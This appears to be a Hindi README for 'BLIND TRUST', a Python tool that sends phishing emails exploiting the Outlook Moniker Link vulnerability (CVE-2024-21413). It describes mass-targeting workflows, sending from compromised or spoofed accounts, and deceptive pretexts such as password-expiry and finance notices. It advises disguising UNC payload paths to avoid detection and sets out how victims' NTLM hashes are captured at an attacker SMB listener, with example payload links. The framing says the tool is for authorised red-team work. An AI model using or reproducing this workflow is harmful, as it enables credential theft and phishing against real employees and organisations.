BLIND TRUST - मोनिकर लिंक फ़िशिंग एंगेजमेंट फ्रेमवर्क

CVE-2024-21413 Moniker Link भेद्यता का उपयोग करके लक्षित फ़िशिंग अभियानों को अनुकरण करने के लिए एक सुरक्षा अनुसंधान उपकरण। अधिकृत रेड टीम संचालन, पेनिट्रेशन टेस्टिंग और सुरक्षा जागरूकता प्रशिक्षण के लिए डिज़ाइन किया गया।

अवलोकन

BLIND TRUST एक फ़िशिंग एंगेजमेंट फ्रेमवर्क है जो सुरक्षा टीमों को परिष्कृत ईमेल-आधारित हमलों के विरुद्ध अपनी सुरक्षा को समझने और परीक्षण करने में मदद करता है। यह Outlook के Protected View को बायपास करने के लिए Moniker Link तकनीक का लाभ उठाता है, जो एक यथार्थवादी हमला अनुकरण प्रदान करता है जिसका उपयोग संगठन अपनी सुरक्षा स्थिति को मजबूत करने के लिए कर सकते हैं।

यह उपकरण एंड-टू-एंड अभियान वर्कफ़्लो को स्वचालित करता है - कॉन्फ़िगरेशन से लेकर ईमेल वितरण तक - जबकि अनुकूलन योग्य UNC पथ और लचीले बहाना विकल्पों के माध्यम से परिचालन सुरक्षा बनाए रखता है।

उद्देश्य

संगठनों को प्रभावी ढंग से बचाव करने के लिए वास्तविक हमला तकनीकों को समझने की आवश्यकता है। TRUST सक्षम करता है:

• रेड टीम संचालन - सुरक्षा मूल्यांकन के भाग के रूप में अधिकृत फ़िशिंग अभियान चलाएँ
• सुरक्षा जागरूकता प्रशिक्षण - कर्मचारियों को वास्तविक दुनिया के हमला वैक्टर प्रदर्शित करें
• भेद्यता सत्यापन - ज्ञात तकनीकों के विरुद्ध पहचान क्षमताओं का परीक्षण करें
• रक्षा अनुसंधान - अपने वातावरण में Moniker Link व्यवहार को समझें

विशेषताएँ

• मल्टी-टार्गेट अभियान - एकल कॉन्फ़िगरेशन के साथ कई लक्ष्यों को फ़िशिंग ईमेल भेजें
• लचीला लक्ष्य लोडिंग - इंटरैक्टिव इनपुट या वर्डलिस्ट-शैली .txt फ़ाइलों के माध्यम से लक्ष्य लोड करें
• अनुकूलन योग्य बहाना - ईमेल विषय, प्रेषक प्रदर्शन नाम और बॉडी टेक्स्ट को नियंत्रित करें
• विवेकपूर्ण UNC पथ - Moniker Link पथ को यथार्थवादी दिखाने के लिए अनुकूलित करें (डोमेन, शेयर नाम, एक्सप्लॉइट नाम)
• SMTP प्रमाणीकरण - TLS वार्ता के साथ विभिन्न SMTP सर्वरों के लिए समर्थन
• स्वचालित पुनर्प्रयास तर्क - क्षणिक SMTP विफलताओं के लिए एक्सपोनेंशियल बैकऑफ़
• अभियान रिपोर्टिंग - एकत्रित परिणामों के साथ प्रति-लक्ष्य वितरण स्थिति
• कोई हार्डकोडेड हस्ताक्षर नहीं - स्पष्ट संकेतकों को हटाएँ जो तकनीक को उजागर करते हैं

स्थापना

आवश्यकताएँ

• Python 3.7+
• केवल मानक लाइब्रेरी (कोई बाहरी निर्भरता नहीं)

सेटअप

# रिपॉजिटरी क्लोन करें
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# उपकरण चलाएँ
python3 TRUST_v7.py

आवश्यकताएँ

यह उपकरण केवल Python मानक लाइब्रेरी मॉड्यूल का उपयोग करता है:

getpass      - सुरक्षित पासवर्ड इनपुट
html         - HTML एस्केपिंग
ipaddress    - IP पता सत्यापन
logging      - संरचित लॉगिंग
os           - फ़ाइल संचालन
re           - नियमित अभिव्यक्तियाँ
signal       - सिग्नल हैंडलिंग
smtplib      - SMTP ईमेल प्रोटोकॉल
sys          - सिस्टम उपयोगिताएँ
time         - समय संचालन
dataclasses  - कॉन्फ़िगरेशन मॉडलिंग
email        - MIME ईमेल निर्माण
typing       - प्रकार संकेत

कोई बाहरी पैकेज आवश्यक नहीं - Python 3.7+ के साथ कहीं भी चलता है।

त्वरित आरंभ

python3 TRUST_v7.py

5 चरणों के माध्यम से इंटरैक्टिव विज़ार्ड का पालन करें:

1. हमलावर क्रेडेंशियल्स - ईमेल भेजने के लिए SMTP खाता
2. SMB लिसनर सेटअप - वह IP पता जहाँ लक्ष्य कनेक्ट होंगे
3. लक्ष्य कॉन्फ़िगरेशन - इनपुट या वर्डलिस्ट फ़ाइल से पीड़ितों को लोड करें
4. ईमेल अनुकूलन - विषय, प्रेषक नाम और बॉडी टेक्स्ट
5. पेलोड अनुकूलन - UNC पथ होस्ट, शेयर और एक्सप्लॉइट नाम

उपयोग उदाहरण

उदाहरण 1: इंटरैक्टिव इनपुट (छोटा अभियान)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

उदाहरण 2: वर्डलिस्ट लोडिंग (बड़ा अभियान)

targets.txt बनाएँ:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

फिर चलाएँ:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

उदाहरण 3: यथार्थवादी वित्त बहाना

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

कॉन्फ़िगरेशन की व्याख्या

STEP 1: हमलावर क्रेडेंशियल्स

• हमलावर ईमेल: फ़िशिंग ईमेल भेजने के लिए उपयोग किया जाने वाला ईमेल पता (आमतौर पर एक समझौता या स्पूफ किया गया खाता)
• SMTP पासवर्ड: मेल सर्वर के लिए प्रमाणीकरण क्रेडेंशियल

STEP 2: SMB लिसनर

• SMB लिसनर IP: वह IP पता जहाँ आपका SMB लिसनर (जैसे, Responder, impacket-smbserver) चल रहा है। जब लक्ष्य Moniker Link पर क्लिक करेंगे तो वे यहाँ कनेक्ट करने का प्रयास करेंगे।

STEP 3: लक्ष्य कॉन्फ़िगरेशन

दो विकल्प:

• इंटरैक्टिव इनपुट: ईमेल सीधे पेस्ट करें (अल्पविराम या नई पंक्ति से अलग)
• वर्डलिस्ट फ़ाइल: एक .txt फ़ाइल से लोड करें जिसमें प्रति पंक्ति एक ईमेल हो, टिप्पणियाँ # से शुरू हों

STEP 4: ईमेल अनुकूलन

• विषय: ईमेल विषय पंक्ति (CVE संदर्भों से बचें; इसे व्यावसायिक रखें)
• प्रेषक प्रदर्शन नाम: ईमेल हेडर में दिखाया गया मैत्रीपूर्ण नाम
• ईमेल बॉडी: बहाना टेक्स्ट जो बताता है कि लक्ष्यों को लिंक पर क्लिक क्यों करना चाहिए

STEP 5: पेलोड अनुकूलन

यहाँ आप स्पष्ट हस्ताक्षरों से बचते हैं:

• UNC होस्ट: केवल IP के बजाय एक यथार्थवादी डोमेन या उपडोमेन का उपयोग करें (जैसे, finance-internal.company.com)
• UNC शेयर: यथार्थवादी शेयर नाम जैसे quarterly, updates, documents
• UNC एक्सप्लॉइट: यथार्थवादी फ़ाइल नाम जैसे q3_report, security_patch, training_document

परिणाम: स्पष्ट \\192.168.1.100\share!exploit के बजाय, आपको कुछ इस प्रकार मिलता है: file://finance-internal.company.com/quarterly!q3_report

निष्पादन प्रवाह

Start
  ↓
[STEP 1] हमलावर ईमेल और SMTP पासवर्ड के लिए संकेत
  ↓
[STEP 2] SMB लिसनर IP के लिए संकेत
  ↓
[STEP 3] लक्ष्य ईमेल लोड करें (फ़ाइल या इनपुट)
  ↓
     ↓→ प्रत्येक लक्ष्य के लिए:
     │  - ईमेल प्रारूप सत्यापित करें
     │  - डुप्लिकेट की जाँच करें
     │
[STEP 4] ईमेल बहाना के लिए संकेत
     │  - विषय, प्रेषक नाम, बॉडी टेक्स्ट
     │
[STEP 5] UNC पथ अनुकूलन के लिए संकेत
     │  - होस्ट, शेयर, एक्सप्लॉइट नाम
     │
  ↓
[BUILD] कॉन्फ़िगरेशन ऑब्जेक्ट का निर्माण
  ↓
[VALIDATE] सभी फ़ील्ड की उपस्थिति और वैधता की जाँच
  ↓
[SUMMARY] समीक्षा के लिए प्री-सेंड सारांश प्रदर्शित करें
  ↓
[CONFIRM] उपयोगकर्ता स्वीकृत या रद्द करता है
  ↓
[SEND] प्रत्येक लक्ष्य के लिए:
     │  - कस्टम Moniker Link के साथ MIME ईमेल बनाएँ
     │  - पुनर्प्रयास तर्क के साथ SMTP वितरण का प्रयास करें
     │  - प्रति-लक्ष्य सफलता/विफलता लॉग करें
     │
  ↓
[REPORT] अभियान परिणाम प्रदर्शित करें (वितरित बनाम विफल)
  ↓
Exit

यह कैसे काम करता है

कमज़ोरी

CVE-2024-21413 (Moniker Link) एक Outlook भेद्यता है जो file:// URL में ! वर्ण एम्बेड करने की अनुमति देती है। जब कोई उपयोगकर्ता ऐसे लिंक पर क्लिक करता है, तो Outlook UNC पथ तक पहुँचने का प्रयास करता है, जो Protected View मोड में भी NTLM प्रमाणीकरण प्रयास को ट्रिगर करता है।

हमला प्रवाह

1. उपयोगकर्ता को Moniker Link वाला एक ईमेल प्राप्त होता है
2. ईमेल वैध दिखाई देता है (आपके कस्टम बहाने के कारण)
3. उपयोगकर्ता लिंक पर क्लिक करता है
4. Outlook \\host\share!exploit तक पहुँचने का प्रयास करता है
5. ! वर्ण Protected View को बायपास करता है
6. उपयोगकर्ता का सिस्टम आपके SMB लिसनर से प्रमाणीकरण करता है
7. आप NTLM हैश या क्रेडेंशियल जानकारी कैप्चर करते हैं

यह उपकरण क्या करता है

TRUST वितरण चरण को स्वचालित करता है:

• कस्टम बहाने के साथ यथार्थवादी ईमेल तैयार करता है
• HTML पेलोड में Moniker Link इंजेक्ट करता है
• SMTP कनेक्शन और पुनर्प्रयास प्रबंधित करता है
• कई लक्ष्यों को कुशलतापूर्वक संभालता है
• अभियान रिपोर्टिंग प्रदान करता है

समस्या निवारण